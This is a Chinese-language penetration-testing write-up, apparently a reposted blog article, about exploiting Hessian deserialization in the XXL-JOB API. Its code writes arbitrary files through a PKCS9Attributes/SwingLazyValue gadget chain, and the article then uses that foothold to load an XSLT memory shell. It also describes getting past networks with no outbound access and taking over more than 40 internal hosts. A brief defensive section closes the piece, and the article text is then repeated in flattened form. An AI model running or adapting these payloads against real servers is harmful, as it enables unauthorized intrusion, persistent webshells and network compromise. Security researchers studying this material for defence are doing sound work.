【Web实战】 记一次曲折的XXL-JOB API Hessian反序列化到Getshell
字数 1500 2025-08-10 08:28:37

XXL-JOB API Hessian反序列化漏洞利用与内存马注入技术分析

前言

本文详细分析XXL-JOB API Hessian反序列化漏洞的利用过程,从漏洞发现到最终实现Getshell的全流程,特别关注在不出网环境下的渗透技巧。文章将涵盖Hessian反序列化利用、多种Gadget链构造、XSLT内存马注入以及内网渗透技术。

一、漏洞背景

XXL-JOB是一个分布式任务调度平台,其API接口使用Hessian协议进行通信。Hessian是一种基于二进制的RPC协议,由于Java反序列化机制的安全问题,不当的反序列化操作可能导致远程代码执行。

二、漏洞发现与验证

  1. 目标识别:发现XXL-JOB的API接口使用Hessian协议
  2. 协议分析:确认接口接受Hessian序列化数据
  3. 反序列化测试:发送测试payload验证反序列化漏洞存在

三、漏洞利用链构造

1. 核心Gadget链分析

利用PKCS9AttributesSwingLazyValue构造文件写入链:

PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, 
    new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", 
                      "writeBytesToFilename", 
                      new Object[]{"/tmp/1.xslt", SerializeUtils.getFileBytes("E:\\payload.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);

关键点:

  • 使用PKCS9Attributes作为入口点
  • 通过SwingLazyValue触发静态方法调用
  • 利用JavaUtils.writeBytesToFilename实现任意文件写入

2. 替代Gadget选项

  • MimeTypeParameterList可替代PKCS9Attributes
  • 其他可触发静态方法执行的类可替代SwingLazyValue

四、内存马注入技术

1. XSLT内存马

利用XSLT处理器加载恶意样式表实现内存马注入:

  1. 首先写入恶意XSLT文件到目标服务器
  2. 构造第二个反序列化payload触发XSLT加载

2. 内存马类型选择

  • 冰蝎/哥斯拉内存马:适用于常规环境
  • Suo5内存马:适用于不出网环境,提供正向代理功能

五、不出网环境渗透技巧

1. 网络限制分析

目标环境特征:

  • Nginx反向代理和负载均衡
  • ICMP/DNS/TCP均不出网
  • 请求分发到多个内网节点

典型Nginx配置:

upstream xxl-job{
  server xxx.xxxx.xxx.xxx2:xxx
  server xxx.xxx.xxx.xxx1:xxx
}

2. 解决方案

  1. Suo5内存马:尝试建立正向代理
    • 问题:负载均衡导致半双工连接,请求不完整
  2. 虚拟终端:使用冰蝎的虚拟终端获取完整TTY
    • 绕过代理限制直接与目标交互

六、完整利用流程

  1. 第一阶段:文件写入

    • 构造Hessian序列化payload写入恶意XSLT文件
    • 关键方法:JavaUtils.writeBytesToFilename
  2. 第二阶段:内存马注入

    • 构造第二个payload触发XSLT加载
    • 建立Webshell连接
  3. 内网横向移动

    • 通过内存马进行内网探测
    • 使用虚拟终端进行后续渗透
    • 最终控制40+内网主机

七、防御建议

  1. 输入验证:严格校验Hessian输入数据
  2. 反序列化防护
    • 使用白名单限制可反序列化的类
    • 升级Hessian库到安全版本
  3. 网络隔离
    • 限制API接口的访问权限
    • 实施网络分区和微隔离
  4. 运行时防护
    • 部署RASP解决方案
    • 监控异常类加载和文件操作

八、技术要点总结

  1. Hessian反序列化利用:关键在于找到合适的Gadget链
  2. 文件写入技巧:利用JDK内部类实现无额外依赖的文件操作
  3. 内存马选择:根据网络环境选择合适的内存马类型
  4. 不出网渗透:正向代理与虚拟终端的组合使用
  5. 负载均衡挑战:识别和绕过负载均衡导致的连接问题

附录:关键代码实现

文件写入Payload生成

public class HessianProxyLVFileWrite {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, 
            new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", 
                             "writeBytesToFilename", 
                             new Object[]{"/tmp/1.xslt", SerializeUtils.getFileBytes("E:\\payload.xslt")}));
        SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
        
        FileOutputStream fileOut = new FileOutputStream("poc.ser");
        Hessian2Output out = new Hessian2Output(fileOut);
        fileOut.write(67);  // Hessian协议头
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(pkcs9Attributes);
        out.close();
        fileOut.close();
    }
}

序列化工具类关键方法

public class SerializeUtils {
    // 通过反射创建对象而不调用构造函数
    public static <T> T createWithoutConstructor(Class<T> classToCreate) throws Exception {
        Constructor<?> constructor = Unsafe.class.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        Unsafe unsafe = (Unsafe) constructor.newInstance();
        return (T) unsafe.allocateInstance(classToCreate);
    }
    
    // 设置对象字段值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    // 读取文件内容为字节数组
    public static byte[] getFileBytes(String filename) throws IOException {
        File file = new File(filename);
        byte[] bytes = new byte[(int) file.length()];
        FileInputStream fis = new FileInputStream(file);
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

通过以上技术分析和实现细节,安全研究人员可以深入理解Hessian反序列化漏洞的利用方式,同时帮助开发人员构建更安全的反序列化机制。

XXL-JOB API Hessian反序列化漏洞利用与内存马注入技术分析 前言 本文详细分析XXL-JOB API Hessian反序列化漏洞的利用过程,从漏洞发现到最终实现Getshell的全流程,特别关注在不出网环境下的渗透技巧。文章将涵盖Hessian反序列化利用、多种Gadget链构造、XSLT内存马注入以及内网渗透技术。 一、漏洞背景 XXL-JOB是一个分布式任务调度平台,其API接口使用Hessian协议进行通信。Hessian是一种基于二进制的RPC协议,由于Java反序列化机制的安全问题,不当的反序列化操作可能导致远程代码执行。 二、漏洞发现与验证 目标识别 :发现XXL-JOB的API接口使用Hessian协议 协议分析 :确认接口接受Hessian序列化数据 反序列化测试 :发送测试payload验证反序列化漏洞存在 三、漏洞利用链构造 1. 核心Gadget链分析 利用 PKCS9Attributes 和 SwingLazyValue 构造文件写入链: 关键点: 使用 PKCS9Attributes 作为入口点 通过 SwingLazyValue 触发静态方法调用 利用 JavaUtils.writeBytesToFilename 实现任意文件写入 2. 替代Gadget选项 MimeTypeParameterList 可替代 PKCS9Attributes 其他可触发静态方法执行的类可替代 SwingLazyValue 四、内存马注入技术 1. XSLT内存马 利用XSLT处理器加载恶意样式表实现内存马注入: 首先写入恶意XSLT文件到目标服务器 构造第二个反序列化payload触发XSLT加载 2. 内存马类型选择 冰蝎/哥斯拉内存马 :适用于常规环境 Suo5内存马 :适用于不出网环境,提供正向代理功能 五、不出网环境渗透技巧 1. 网络限制分析 目标环境特征: Nginx反向代理和负载均衡 ICMP/DNS/TCP均不出网 请求分发到多个内网节点 典型Nginx配置: 2. 解决方案 Suo5内存马 :尝试建立正向代理 问题:负载均衡导致半双工连接,请求不完整 虚拟终端 :使用冰蝎的虚拟终端获取完整TTY 绕过代理限制直接与目标交互 六、完整利用流程 第一阶段:文件写入 构造Hessian序列化payload写入恶意XSLT文件 关键方法: JavaUtils.writeBytesToFilename 第二阶段:内存马注入 构造第二个payload触发XSLT加载 建立Webshell连接 内网横向移动 通过内存马进行内网探测 使用虚拟终端进行后续渗透 最终控制40+内网主机 七、防御建议 输入验证 :严格校验Hessian输入数据 反序列化防护 : 使用白名单限制可反序列化的类 升级Hessian库到安全版本 网络隔离 : 限制API接口的访问权限 实施网络分区和微隔离 运行时防护 : 部署RASP解决方案 监控异常类加载和文件操作 八、技术要点总结 Hessian反序列化利用 :关键在于找到合适的Gadget链 文件写入技巧 :利用JDK内部类实现无额外依赖的文件操作 内存马选择 :根据网络环境选择合适的内存马类型 不出网渗透 :正向代理与虚拟终端的组合使用 负载均衡挑战 :识别和绕过负载均衡导致的连接问题 附录:关键代码实现 文件写入Payload生成 序列化工具类关键方法 通过以上技术分析和实现细节,安全研究人员可以深入理解Hessian反序列化漏洞的利用方式,同时帮助开发人员构建更安全的反序列化机制。